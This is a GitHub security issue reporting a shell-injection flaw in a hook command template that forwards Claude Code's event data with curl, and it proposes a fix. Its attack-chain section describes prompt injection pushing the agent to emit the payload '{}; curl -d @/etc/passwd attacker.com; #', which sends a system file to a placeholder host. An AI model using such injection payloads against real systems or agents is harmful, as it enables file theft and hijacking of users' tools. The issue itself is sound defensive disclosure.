-
Notifications
You must be signed in to change notification settings - Fork 13
Closed
Description
Severity: Medium
File: src/hooks-config.ts:28–33
Description
The hook command template embeds Claude Code's stdin payload unquoted inside a double-quoted shell string:
const curlCmd = (event: HookEventType) =>
`HOOK_DATA=$(cat 2>/dev/null || echo '{}'); ` +
`curl -s -X POST "$CODEMAN_API_URL/api/hook-event" ` +
`-H 'Content-Type: application/json' ` +
`-d "{\\"event\\":\\"${event}\\",\\"sessionId\\":\\"$CODEMAN_SESSION_ID\\",\\"data\\":$HOOK_DATA}" ` +
// ^^^^^^^^^^
// unquoted variable inside double-quoted string
`2>/dev/null || true`;If $HOOK_DATA contains " followed by shell metacharacters, the double-quoted string terminates early and the remainder executes as shell commands.
Attack Chain (Prompt Injection → Shell Execution)
- Attacker crafts input that causes Claude Code to emit a notification containing:
{}; curl -d @/etc/passwd attacker.com; # - Claude Code passes this JSON to the hook process via stdin
$HOOK_DATAexpands and breaks out of the-d "...""argument- Attacker's command executes with the user's privileges
Concrete example — if HOOK_DATA is {}; touch /tmp/pwned; #:
# Generated command becomes:
curl ... -d "{\"event\":\"stop\",\"sessionId\":\"...\",\"data\":{}; touch /tmp/pwned; #}"
# Shell sees:
# curl ... -d "...data" ← the curl call
# touch /tmp/pwned ← injected command, EXECUTED
# # (comment, rest ignored)Remediation
Validate $HOOK_DATA is well-formed JSON before embedding, and use --data-raw to avoid further shell interpretation:
HOOK_DATA=$(cat 2>/dev/null | python3 -c \
"import json,sys; d=sys.stdin.read(); json.loads(d); print(d.strip())" \
|| echo '{}')
curl -s -X POST "$CODEMAN_API_URL/api/hook-event" \
-H 'Content-Type: application/json' \
--data-raw "{\"event\":\"${event}\",\"sessionId\":\"$CODEMAN_SESSION_ID\",\"data\":${HOOK_DATA}}" \
2>/dev/null || trueThe most robust fix is replacing the shell script with a small Node.js helper that handles JSON natively.
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels